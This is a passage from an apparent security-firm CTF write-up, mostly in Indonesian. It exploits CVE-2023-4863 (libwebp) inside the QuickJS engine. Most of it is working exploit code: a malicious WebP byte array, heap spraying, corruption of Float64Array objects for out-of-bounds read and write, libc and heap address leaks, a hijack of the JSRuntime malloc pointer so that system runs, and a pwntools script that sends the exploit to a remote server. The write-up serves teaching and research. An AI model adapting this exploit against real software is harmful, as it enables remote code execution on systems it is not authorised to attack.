80 2261634.5098039214
81 2261634.5098039214
82 4.576853666e-315
83 4.576853666e-315
84 2261634.5098039214
85 2261634.5098039214
86 2261634.5098039214
87 2261634.5098039214
...

Mencari Informasi Penting

Selanjutnya, mari kita jelajahi nilai apa saja yang bisa bocor menggunakan z[82] di gdb. Cukup jalankan Math.min(z[82]) dan periksa nilai memori.


gef> x/100gx *(uint64_t*)$r8-0x30
0x555555e38790: 0x0000000000000000 0x0000000000000021
0x555555e387a0: 0x0000000037373737 0x0000000000000000
0x555555e387b0: 0x0000000000000000 0x0000000000000051
0x555555e387c0: 0x001f0d0000000002 0x0000555555e3e888
0x555555e387d0: 0x0000555555e38878 0x000055555581ef30
0x555555e387e0: 0x0000555555e38810 0x0000000000000000
0x555555e387f0: 0x0000555555e38840 0x0000555555e387a0
0x555555e38800: 0x0000000037373737 0x0000000000000000
0x555555e38810: 0x00007ffff7dfed00 0x00007ffff7dfed00

Data dimulai di 0x0000555555e387a0. Penting untuk dicatat, data[7] mengungkapkan alamat heap, dan data[14] mengungkapkan alamat libc.

exploit.js

// Based on observation in gdb:
// - offset 7 will give us heap leak (heap_base+0xf30)
// - offset 14 will give us libc leak
let leaked_heap = z[82][7];
let leaked_libc = z[82][14];

Setelah berhasil membocorkan nilai dengan OOB Read, kita sekarang berada dalam posisi untuk mencapai Remote Code Execution (RCE) dengan memanfaatkan OOB Write.

Remote Code Execution

Untuk mencapai Remote Code Execution (RCE), saya perhatikan bahwa sebuah objek QuickJS bernama JSRuntime menyimpan daftar function pointers yang dinamakan JSMallocFunctions.

quickjs/quickjs.h

struct JSRuntime {
JSMallocFunctions mf;
JSMallocState malloc_state;
...
}
typedef struct JSMallocFunctions {
void *(*js_malloc)(JSMallocState *s, size_t size);
void (*js_free)(JSMallocState *s, void *ptr);
void *(*js_realloc)(JSMallocState *s, void *ptr, size_t size);
size_t (*js_malloc_usable_size)(const void *ptr);
} JSMallocFunctions;

Objek ini berada di heap, di mana:

  • JSRuntime->mf berada di heap_base+0x2a0.
  • JSRuntime->malloc_state berada di heap_base+0x2c0.

Memeriksa fungsi yang digunakan untuk membuat ArrayBuffer baru (js_array_buffer_constructor3), kita melihat akhirnya memanggil rt->mf.js_malloc(&rt->malloc_state, size);. Jika kita dapat mengarahkan rt->mf.js_malloc ke fungsi system dan mengatur rt->malloc_state ke /readflag, kita dapat memicu RCE.

quickjs/quickjs.c

static JSValue js_array_buffer_constructor3(JSContext *ctx,
JSValueConst new_target,
uint64_t len, JSClassID class_id,
uint8_t *buf,
JSFreeArrayBufferDataFunc *free_func,
void *opaque, BOOL alloc_flag)
{
...
abuf = js_malloc(ctx, sizeof(*abuf));
...
}
void *js_malloc(JSContext *ctx, size_t size)
{
...
ptr = js_malloc_rt(ctx->rt, size);
...
}
void *js_malloc_rt(JSRuntime *rt, size_t size)
{
return rt->mf.js_malloc(&rt->malloc_state, size);
}

Tujuan kita adalah melakukan OOB write di lokasi ini. Kita bisa menggunakan write primitives dari Float64Array untuk tujuan ini.

Ingat bahwa Float64Array mempertahankan pointer ke data-nya. Mengamati memory layout dari Float64Array yang rusak kita (z[82] dan z[83]), kita melihat:


gef> x/100gx *(uint64_t*)$r8-0x30
0x555555e38790: 0x0000000000000000 0x0000000000000021
0x555555e387a0: 0x0000000037373737 0x0000000000000000
0x555555e387b0: 0x0000000000000000 0x0000000000000051
0x555555e387c0: 0x001f0d0000000002 0x0000555555e3e888
0x555555e387d0: 0x0000555555e38878 0x000055555581ef30
0x555555e387e0: 0x0000555555e38810 0x0000000000000000
0x555555e387f0: 0x0000555555e38840 0x0000555555e387a0
0x555555e38800: 0x0000000037373737 0x0000000000000000
0x555555e38810: 0x00007ffff7dfed00 0x00007ffff7dfed00

Dengan menimpa data[11] dengan alamat target kita, setiap penugasan ke data[0] akan mengubah konten di alamat target kita.

Menggunakan teknik ini, kita dapat memanipulasi array yang rusak kita untuk menimpa rt->malloc_state dan rt->mf.js_malloc. Alokasi ArrayBuffer baru selanjutnya kemudian akan menjalankan system("/readflag").

Berikut adalah kode exploit lengkapnya:

exploit.js

// Helper taken from https://changochen.github.io/2019-04-29-starctf-2019.html
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function hex(lo, hi) {
if( lo == 0 ) {
return ("0x" + hi.toString(16) + "00000000");
}
if( hi == 0 ) {
return ("0x" + lo.toString(16));
}
return ("0x" + ('00000000'+hi.toString(16)).substr(8) +('00000000'+lo.toString(16)).substr(8));
}
// Malicious webp
const webp = new Uint8Array([82, 73, 70, 70, 136, 2, 0, 0, 87, 69, 66, 80, 86, 80, 56, 76, 123, 2, 0, 0, 47, 0, 0, 0, 16, 26, 15, 130, 36, 9, 146, 36, 73, 18, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 86, 207, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 221, 157, 7, 65, 146, 4, 73, 146, 36, 9, 48, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 50, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 179, 122, 118, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 247, 206, 131, 32, 73, 130, 36, 73, 146, 4, 24, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 89, 61, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 123, 231, 65, 144, 36, 65, 146, 36, 73, 2, 140, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 172, 158, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 189, 243, 32, 72, 146, 32, 73, 146, 36, 221, 221, 185, 187, 187, 187, 187, 187, 187, 71, 68, 68, 68, 68, 68, 68, 68, 68, 86, 207, 2, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255]);
// Spray to shape heap
let x = [];
let y = [];
for (let i = 0; i < 500; i++) {
x.push(new ArrayBuffer(0x2fb0));
y.push(new Array(1.1, 2.2));
y[i][0] = 0x1337;
}
// Free ArrayBuffer, so that malicious webp chunk will be allocated in
// the ArrayBuffer freed chunk, leads to overwriting the Array size.
for (let i = 490; i < 500; i++) {
x[i] = undefined;
}
// Allocate the malicious webp multiple times, with hope that it
// overwrite one of the Array size that we spray before
for (let i = 0; i < 5; i++) {
isWebP(webp);
}
// To check which Array size that was overwritten with the webp,
// if we can access element larger than it original size (2), that means
// the Array size got overwritten.
for (let i = 490; i < 500; i++) {
console.log(i, y[i][7]);
}
// We can see that y[492] until y[496] size was overwritten, because the result isn't undefined
// Observed that the Array data type is not a good write primitive.
// One element takes 0x10 bytes, and we can only write 4 bytes per 0x10 bytes.
// So, we need to have a stronger write and read primitive.
//
// Moving forward, we will use y[496] as our limited OOB write.
// Spray Float64Array, with hope that this will be located
// below the corrupted Array.
// We plan to overwrite this size with our limited write primitive from Array later.
let z = [];
for (let i = 0; i < 200; i++) {
z.push(new Float64Array(0x2));
z[i][0] = 2261634.5098039214; // Use this as mark (float representation of 0x4141414141414141)
z[i][1] = 2261634.5098039214; // Use this as mark (float representation of 0x4141414141414141)
}
// Based on observation in gdb, overwriting these
// offsets will overwrite:
// - FloatArray64[0] value to 0x37373737, so that later we can use this
// value as the mark of which FloatArray64 that the size got overwritten
// - FloatArray64 size value to 0x37373737
// We want to corrupt two FloatArray64.
y[496][3] = 0x37373737; // FloatArray64[0]
y[496][9] = 0x37373737; // FloatArray64 size
y[496][28] = 0x37373737; // Other FloatArray64[0]
y[496][34] = 0x37373737; // Other FloatArray64 size
// IMPORTANT NOTES:
// If you add console.log later, this might change the heap layout,
// so you might need to tweak the offset in here.
// To check which FloatArray64 that we overwrite just now,
// if the first element value is no longer 2261634.5098039214,
// that means we found the correct index.
for (let i = 0; i < 200; i++) {
console.log(i, z[i][0]);
}
// We can see that index 82 and 83 is the one that we overwrite the size.
// Based on observation in gdb:
// - offset 7 will give us heap leak (heap_base+0xf30)
// - offset 14 will give us libc leak
let leaked_heap = z[82][7];
let leaked_libc = z[82][14];
// Now, if we look at JSRuntime, it stored a list of function pointer called JSMallocFunctions.
// It is stored in the heap, specifically at heap_base+0x2a0.
// When we call js_malloc, it will call js_malloc_rt, which will call
// rt->mf.js_malloc(&rt->malloc_state, size),
// which basically call the first stored function pointer.
//
// If we overwrite:
// - rt->mf.js_malloc to system
// - rt->malloc_state to /readflag
// we can easily call /readflag when we try to create new ArrayBuffer, because
// creating new ArrayBuffer will trigger js_array_buffer_constructor3, which eventually
// will call js_malloc.
// Overwrite z[82] stored pointer of buffer to heap+0x2c0 (rt->malloc_state),
// so that when we assign value to z[82][0],
// we will overwrite heap+0x2c0 to our controlled value
rt_malloc_state = d2u(leaked_heap);
rt_malloc_state[0] -= (0xf30-0x2c0);
// Overwrite Float64Array->buffer stored pointer to rt->malloc_state
z[82][11] = u2d(rt_malloc_state[0], rt_malloc_state[1]);
// Overwrite rt->malloc_state to /readflag
z[82][0] = 1.9963908301139611e+161 // /readfla
z[82][1] = 5.1e-322 // g
// Overwrite z[83] stored pointer of buffer to heap+0x2a0 (rt->mf),
// so that when we assign value to z[83][0],
// we will overwrite heap+0x2a0 to our controlled value
rt_mf = d2u(leaked_heap);
rt_mf[0] -= (0xf30-0x2a0);
// Overwrite Float64Array->buffer stored pointer to rt->mf
z[83][11] = u2d(rt_mf[0], rt_mf[1]);
// Overwrite rt->mf.js_malloc to system
let system = d2u(leaked_libc);
system[0] -= (0x1fed00-0x55230);
z[83][0] = u2d(system[0], system[1]);
// Create new ArrayBuffer to trigger system("/readflag")
let abuf = new ArrayBuffer(0x100);

Setelah mengirimkan kode ini ke server, kita dapat melakukan remote code execution dan mengambil flag.

solve.py

from pwn import *
r = remote('5.75.200.150', 1337)
data = open('exploit.js', 'rb').read()
data += b'\n-- EOF --\n'
r.send(data)
r.interactive()

Kesimpulan

Studi kasus CVE-2023-4863 dalam QuickJS Engine ini memberikan wawasan mendalam tentang pentingnya memahami dan mengamankan aspek-aspek teknis dalam keamanan siber. Melalui analisis kerentanan di libwebp dan pemanfaatan teknik eksploitasi yang cermat, kita berhasil menunjukkan bagaimana sebuah Remote Code Execution (RCE) dapat dicapai. Eksperimen ini menggarisbawahi pentingnya validasi dan keamanan memori dalam pengembangan software, serta menyoroti kerentanan yang bisa terjadi akibat penggunaan fungsi atau library yang tidak aman.

Di Cylabus, kami berkomitmen untuk menyediakan solusi keamanan terdepan, membantu klien kami mengatasi tantangan keamanan siber yang rumit dan dinamis. Keahlian kami dalam menganalisis dan mengeksploitasi kerentanan seperti yang ditunjukkan dalam artikel ini, bersama dengan pendekatan holistik kami dalam keamanan, memastikan bahwa infrastruktur dan aplikasi Anda dilindungi dari ancaman terbaru. Jika Anda membutuhkan konsultasi atau layanan dalam bidang keamanan siber, blockchain, atau AI, tim ahli kami di Cylabus siap untuk membantu.

Dengan inovasi dan kerjasama yang terus-menerus, kami di Cylabus berdedikasi untuk memajukan keamanan siber dan mendukung penciptaan ekosistem digital yang lebih aman untuk semua.